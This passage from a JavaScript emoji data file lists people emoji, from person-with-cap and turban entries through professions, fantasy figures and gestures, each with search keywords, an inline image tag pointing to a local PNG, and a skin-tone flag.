  man_with_gua_pi_mao: {
    keywords: [ "male", "boy", "chinese" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc72" src="1f472.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  woman_with_headscarf: {
    keywords: [ "female", "hijab", "mantilla", "tichel" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddd5" src="1f9d5.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  woman_with_turban: {
    keywords: [ "female", "indian", "hinduism", "arabs", "woman" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc73\u200d\u2640\ufe0f" src="1f473-200d-2640-fe0f.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  man_with_turban: {
    keywords: [ "male", "indian", "hinduism", "arabs" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc73" src="1f473.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  policewoman: {
    keywords: [ "woman", "police", "law", "legal", "enforcement", "arrest", "911", "female" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc6e\u200d\u2640\ufe0f" src="1f46e-200d-2640-fe0f.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  policeman: {
    keywords: [ "man", "police", "law", "legal", "enforcement", "arrest", "911" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc6e" src="1f46e.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  construction_worker_woman: {
    keywords: [ "female", "human", "wip", "build", "construction", "worker", "labor", "woman" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc77\u200d\u2640\ufe0f" src="1f477-200d-2640-fe0f.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  construction_worker_man: {
    keywords: [ "male", "human", "wip", "guy", "build", "construction", "worker", "labor" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc77" src="1f477.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  guardswoman: {
    keywords: [ "uk", "gb", "british", "female", "royal", "woman" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc82\u200d\u2640\ufe0f" src="1f482-200d-2640-fe0f.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  guardsman: {
    keywords: [ "uk", "gb", "british", "male", "guy", "royal" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc82" src="1f482.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  female_detective: {
    keywords: [ "human", "spy", "detective", "female", "woman" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd75\ufe0f\u200d\u2640\ufe0f" src="1f575-fe0f-200d-2640-fe0f.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  male_detective: {
    keywords: [ "human", "spy", "detective" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd75" src="1f575.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  woman_health_worker: {
    keywords: [ "doctor", "nurse", "therapist", "healthcare", "woman", "human" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc69\u200d\u2695\ufe0f" src="1f469-200d-2695-fe0f.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  man_health_worker: {
    keywords: [ "doctor", "nurse", "therapist", "healthcare", "man", "human" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc68\u200d\u2695\ufe0f" src="1f468-200d-2695-fe0f.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  woman_farmer: {
    keywords: [ "rancher", "gardener", "woman", "human" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc69\u200d\ud83c\udf3e" src="1f469-200d-1f33e.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  man_farmer: {
    keywords: [ "rancher", "gardener", "man", "human" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc68\u200d\ud83c\udf3e" src="1f468-200d-1f33e.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  woman_cook: {
    keywords: [ "chef", "woman", "human" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc69\u200d\ud83c\udf73" src="1f469-200d-1f373.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  man_cook: {
    keywords: [ "chef", "man", "human" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc68\u200d\ud83c\udf73" src="1f468-200d-1f373.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  woman_student: {
    keywords: [ "graduate", "woman", "human" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc69\u200d\ud83c\udf93" src="1f469-200d-1f393.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  man_student: {
    keywords: [ "graduate", "man", "human" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc68\u200d\ud83c\udf93" src="1f468-200d-1f393.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  woman_singer: {
    keywords: [ "rockstar", "entertainer", "woman", "human" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc69\u200d\ud83c\udfa4" src="1f469-200d-1f3a4.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  man_singer: {
    keywords: [ "rockstar", "entertainer", "man", "human" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc68\u200d\ud83c\udfa4" src="1f468-200d-1f3a4.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  woman_teacher: {
    keywords: [ "instructor", "professor", "woman", "human" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc69\u200d\ud83c\udfeb" src="1f469-200d-1f3eb.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  man_teacher: {
    keywords: [ "instructor", "professor", "man", "human" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc68\u200d\ud83c\udfeb" src="1f468-200d-1f3eb.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  woman_factory_worker: {
    keywords: [ "assembly", "industrial", "woman", "human" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc69\u200d\ud83c\udfed" src="1f469-200d-1f3ed.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  man_factory_worker: {
    keywords: [ "assembly", "industrial", "man", "human" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc68\u200d\ud83c\udfed" src="1f468-200d-1f3ed.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  woman_technologist: {
    keywords: [ "coder", "developer", "engineer", "programmer", "software", "woman", "human", "laptop", "computer" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc69\u200d\ud83d\udcbb" src="1f469-200d-1f4bb.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  man_technologist: {
    keywords: [ "coder", "developer", "engineer", "programmer", "software", "man", "human", "laptop", "computer" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc68\u200d\ud83d\udcbb" src="1f468-200d-1f4bb.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  woman_office_worker: {
    keywords: [ "business", "manager", "woman", "human" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc69\u200d\ud83d\udcbc" src="1f469-200d-1f4bc.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  man_office_worker: {
    keywords: [ "business", "manager", "man", "human" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc68\u200d\ud83d\udcbc" src="1f468-200d-1f4bc.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  woman_mechanic: {
    keywords: [ "plumber", "woman", "human", "wrench" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc69\u200d\ud83d\udd27" src="1f469-200d-1f527.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  man_mechanic: {
    keywords: [ "plumber", "man", "human", "wrench" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc68\u200d\ud83d\udd27" src="1f468-200d-1f527.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  woman_scientist: {
    keywords: [ "biologist", "chemist", "engineer", "physicist", "woman", "human" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc69\u200d\ud83d\udd2c" src="1f469-200d-1f52c.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  man_scientist: {
    keywords: [ "biologist", "chemist", "engineer", "physicist", "man", "human" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc68\u200d\ud83d\udd2c" src="1f468-200d-1f52c.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  woman_artist: {
    keywords: [ "painter", "woman", "human" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc69\u200d\ud83c\udfa8" src="1f469-200d-1f3a8.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  man_artist: {
    keywords: [ "painter", "man", "human" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc68\u200d\ud83c\udfa8" src="1f468-200d-1f3a8.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  woman_firefighter: {
    keywords: [ "fireman", "woman", "human" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc69\u200d\ud83d\ude92" src="1f469-200d-1f692.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  man_firefighter: {
    keywords: [ "fireman", "man", "human" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc68\u200d\ud83d\ude92" src="1f468-200d-1f692.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  woman_pilot: {
    keywords: [ "aviator", "plane", "woman", "human" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc69\u200d\u2708\ufe0f" src="1f469-200d-2708-fe0f.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  man_pilot: {
    keywords: [ "aviator", "plane", "man", "human" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc68\u200d\u2708\ufe0f" src="1f468-200d-2708-fe0f.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  woman_astronaut: {
    keywords: [ "space", "rocket", "woman", "human" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc69\u200d\ud83d\ude80" src="1f469-200d-1f680.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  man_astronaut: {
    keywords: [ "space", "rocket", "man", "human" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc68\u200d\ud83d\ude80" src="1f468-200d-1f680.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  woman_judge: {
    keywords: [ "justice", "court", "woman", "human" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc69\u200d\u2696\ufe0f" src="1f469-200d-2696-fe0f.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  man_judge: {
    keywords: [ "justice", "court", "man", "human" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc68\u200d\u2696\ufe0f" src="1f468-200d-2696-fe0f.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  woman_superhero: {
    keywords: [ "woman", "female", "good", "heroine", "superpowers" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddb8\u200d\u2640\ufe0f" src="1f9b8-200d-2640-fe0f.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  man_superhero: {
    keywords: [ "man", "male", "good", "hero", "superpowers" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddb8\u200d\u2642\ufe0f" src="1f9b8-200d-2642-fe0f.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  woman_supervillain: {
    keywords: [ "woman", "female", "evil", "bad", "criminal", "heroine", "superpowers" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddb9\u200d\u2640\ufe0f" src="1f9b9-200d-2640-fe0f.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  man_supervillain: {
    keywords: [ "man", "male", "evil", "bad", "criminal", "hero", "superpowers" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddb9\u200d\u2642\ufe0f" src="1f9b9-200d-2642-fe0f.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  mrs_claus: {
    keywords: [ "woman", "female", "xmas", "mother christmas" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd36" src="1f936.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  santa: {
    keywords: [ "festival", "man", "male", "xmas", "father christmas" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf85" src="1f385.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  sorceress: {
    keywords: [ "woman", "female", "mage", "witch" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddd9\u200d\u2640\ufe0f" src="1f9d9-200d-2640-fe0f.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  wizard: {
    keywords: [ "man", "male", "mage", "sorcerer" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddd9\u200d\u2642\ufe0f" src="1f9d9-200d-2642-fe0f.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  woman_elf: {
    keywords: [ "woman", "female" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udddd\u200d\u2640\ufe0f" src="1f9dd-200d-2640-fe0f.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  man_elf: {
    keywords: [ "man", "male" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udddd\u200d\u2642\ufe0f" src="1f9dd-200d-2642-fe0f.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  woman_vampire: {
    keywords: [ "woman", "female" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udddb\u200d\u2640\ufe0f" src="1f9db-200d-2640-fe0f.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  man_vampire: {
    keywords: [ "man", "male", "dracula" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udddb\u200d\u2642\ufe0f" src="1f9db-200d-2642-fe0f.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  woman_zombie: {
    keywords: [ "woman", "female", "undead", "walking dead" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udddf\u200d\u2640\ufe0f" src="1f9df-200d-2640-fe0f.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  man_zombie: {
    keywords: [ "man", "male", "dracula", "undead", "walking dead" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udddf\u200d\u2642\ufe0f" src="1f9df-200d-2642-fe0f.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  woman_genie: {
    keywords: [ "woman", "female" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddde\u200d\u2640\ufe0f" src="1f9de-200d-2640-fe0f.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  man_genie: {
    keywords: [ "man", "male" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddde\u200d\u2642\ufe0f" src="1f9de-200d-2642-fe0f.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  mermaid: {
    keywords: [ "woman", "female", "merwoman", "ariel" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udddc\u200d\u2640\ufe0f" src="1f9dc-200d-2640-fe0f.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  merman: {
    keywords: [ "man", "male", "triton" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udddc\u200d\u2642\ufe0f" src="1f9dc-200d-2642-fe0f.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  woman_fairy: {
    keywords: [ "woman", "female" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddda\u200d\u2640\ufe0f" src="1f9da-200d-2640-fe0f.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  man_fairy: {
    keywords: [ "man", "male" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddda\u200d\u2642\ufe0f" src="1f9da-200d-2642-fe0f.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  angel: {
    keywords: [ "heaven", "wings", "halo" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc7c" src="1f47c.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  pregnant_woman: {
    keywords: [ "baby" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd30" src="1f930.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  breastfeeding: {
    keywords: [ "nursing", "baby" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd31" src="1f931.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  princess: {
    keywords: [ "girl", "woman", "female", "blond", "crown", "royal", "queen" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc78" src="1f478.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  prince: {
    keywords: [ "boy", "man", "male", "crown", "royal", "king" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd34" src="1f934.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  bride_with_veil: {
    keywords: [ "couple", "marriage", "wedding", "woman", "bride" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc70" src="1f470.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  man_in_tuxedo: {
    keywords: [ "couple", "marriage", "wedding", "groom" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd35" src="1f935.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  running_woman: {
    keywords: [ "woman", "walking", "exercise", "race", "running", "female" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfc3\u200d\u2640\ufe0f" src="1f3c3-200d-2640-fe0f.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  running_man: {
    keywords: [ "man", "walking", "exercise", "race", "running" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfc3" src="1f3c3.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  walking_woman: {
    keywords: [ "human", "feet", "steps", "woman", "female" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udeb6\u200d\u2640\ufe0f" src="1f6b6-200d-2640-fe0f.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  walking_man: {
    keywords: [ "human", "feet", "steps" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udeb6" src="1f6b6.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  dancer: {
    keywords: [ "female", "girl", "woman", "fun" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc83" src="1f483.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  man_dancing: {
    keywords: [ "male", "boy", "fun", "dancer" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd7a" src="1f57a.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  dancing_women: {
    keywords: [ "female", "bunny", "women", "girls" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc6f" src="1f46f.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  dancing_men: {
    keywords: [ "male", "bunny", "men", "boys" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc6f\u200d\u2642\ufe0f" src="1f46f-200d-2642-fe0f.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  couple: {
    keywords: [ "pair", "people", "human", "love", "date", "dating", "like", "affection", "valentines", "marriage" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc6b" src="1f46b.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  two_men_holding_hands: {
    keywords: [ "pair", "couple", "love", "like", "bromance", "friendship", "people", "human" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc6c" src="1f46c.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  two_women_holding_hands: {
    keywords: [ "pair", "friendship", "couple", "love", "like", "female", "people", "human" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc6d" src="1f46d.png"/>',
    fitzpatrick_scale: false,
    category: "people"
  },
  bowing_woman: {
    keywords: [ "woman", "female", "girl" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude47\u200d\u2640\ufe0f" src="1f647-200d-2640-fe0f.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  bowing_man: {
    keywords: [ "man", "male", "boy" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude47" src="1f647.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  man_facepalming: {
    keywords: [ "man", "male", "boy", "disbelief" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd26\u200d\u2642\ufe0f" src="1f926-200d-2642-fe0f.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  woman_facepalming: {
    keywords: [ "woman", "female", "girl", "disbelief" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd26\u200d\u2640\ufe0f" src="1f926-200d-2640-fe0f.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  woman_shrugging: {
    keywords: [ "woman", "female", "girl", "confused", "indifferent", "doubt" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd37" src="1f937.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  man_shrugging: {
    keywords: [ "man", "male", "boy", "confused", "indifferent", "doubt" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udd37\u200d\u2642\ufe0f" src="1f937-200d-2642-fe0f.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  tipping_hand_woman: {
    keywords: [ "female", "girl", "woman", "human", "information" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc81" src="1f481.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  tipping_hand_man: {
    keywords: [ "male", "boy", "man", "human", "information" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc81\u200d\u2642\ufe0f" src="1f481-200d-2642-fe0f.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  no_good_woman: {
    keywords: [ "female", "girl", "woman", "nope" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude45" src="1f645.png"/>',
    fitzpatrick_scale: true,
    category: "people"
  },
  no_good_man: {
    keywords: [ "male", "boy", "man", "nope" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\ude45\u200d\u2642\ufe0f" src="1f645-200d-2642-fe0f.png"/>',
